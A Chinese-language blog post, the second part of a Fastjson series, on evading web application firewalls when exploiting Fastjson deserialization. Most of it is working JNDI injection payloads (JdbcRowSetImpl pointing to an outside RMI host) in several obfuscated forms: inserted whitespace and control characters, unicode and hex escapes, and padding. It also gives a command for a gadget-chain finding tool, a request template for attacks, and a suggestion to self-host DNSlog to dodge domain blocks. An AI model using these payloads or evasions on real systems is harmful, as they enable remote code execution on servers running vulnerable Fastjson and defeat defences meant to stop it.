Fastjson：我一路向北，离开有你的季节（下）

bypass waf

近几年waf的是反序列化漏洞头号大敌，面对waf的封禁，我们又该何去何从勒？

利用Fastjson默认会去除键、值外的空格、\b、\n、\r、\f等特性，并且还会自动将键与值进行unicode与十六进制解码，扩展出bypass的方法：

原生payload：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

bypass版本

{/s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{\n"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"@type"\b:"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"\u0040\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}{"\x40\x74\x79\x70\x65":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

可应对关键字的封禁。

同理利用特性大包绕也是可能的

{/s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6s6/"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://10.251.0.111:9999","autoCommit":true}

有一些waf则检测一些域名，比如dnslog的平台，这时候就可以自己搭建dnslog平台，进行测试：

需要准备：

两个域名，或者一个阿里云的域名。vps服务器一台DNSlog项目：

https://github.com/lanyi1998/DNSlog-GO/releases

总结

理论上，1.2.68之前的都能打死，就是看环境允不允许，因为jndi注入的利用受jdk版本影响较大，所以在利用的时候还是要多尝试的，实际利用场景还得看实际的环境，多尝试一些payload是好的，在利用bcel打高版本的jdk时，需要去跑链。

测利用链：

Fastjson.LDAPRefServerAuto: 自动找寻反序列可利用的gadget(cb1,cc1-10,spring1-2,groovy1,jdk7u21)

java -cp fastjson_tool.jar fastjson.LDAPRefServerAuto 127.0.0.1 1099file=filename

filename为请求包，需要插入fastjson攻击语句的地方，用PAYLOAD代替，示例：

POST /fastjson_demo HTTP/1.1 Host: xx.xx.xx.xx Connection:keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.16Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Content-Type: application/json Content-Length: 165 PAYLOA

END